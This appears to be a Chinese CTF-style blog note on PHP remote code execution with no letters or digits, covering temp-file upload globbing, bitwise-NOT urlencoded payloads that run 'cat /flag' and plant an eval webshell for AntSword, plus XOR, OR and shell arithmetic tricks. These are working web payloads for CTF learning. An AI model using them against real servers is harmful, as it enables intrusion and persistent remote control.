无字母数字RCE
1.post文件 (php5+shell)
我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母
一般来说这个文件在linux下面保存在/tmp/php??????
一般后面的6个字符是随机生成的有大小写。
(可以通过linux的匹配符去匹配) 我们多上传几次就可以达到shell的目的
首先构造一个post文件上传的html文件 (url需要更改)
任意上传一个文件后抓包
修改
post一个 ?c=.+/???/????????[@-[]
[@-[]
是linux下面的匹配符,是进行匹配的大写字母
加入
#!/bin/sh
ls
(2):取反绕过
对两个命令执行urlencode编码 后在进行拼接
eg:?code=(~%8C%86%8C%8B%9A%92)(~%D7%D8%9C%9E%8B%DF%D0%99%93%9E%98%D8%D6);
代码:urlencode(~a) 得到后在进行一次取反 适用于未过滤~
可以执行cat /flag
也可以执行 assert (eval($POST[a]))
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);
后用Antsword连接即可
https://blog.csdn.net/scrawman/article/details/119055285?ops_request_misc=%7B%22request%5Fid%22%3A%22170927379316800188550169%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=170927379316800188550169&biz_id=0&spm=1018.2226.3001.4187
可参考该博客
(3)异或
利用异或脚本
适用于未过滤^
(4)或
与异或类似
适用于未过滤|
(5)自增
echo $(( ~$(( $((~$(()))) $((~$(()))) )) ))
输出此结果得到1
故我们在$(( ~$(( )) ))
里面放37个$((~$(())))
,得到-37,取反即可得到36:
$(( ~$((
$((~$(())))
$((~$(())))
$((~$(())))
$((~$(())))
$((~$(())))
)) ))
构造数字可以使用此方法 5个 -1 叠加取反 就是4 以此类推
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具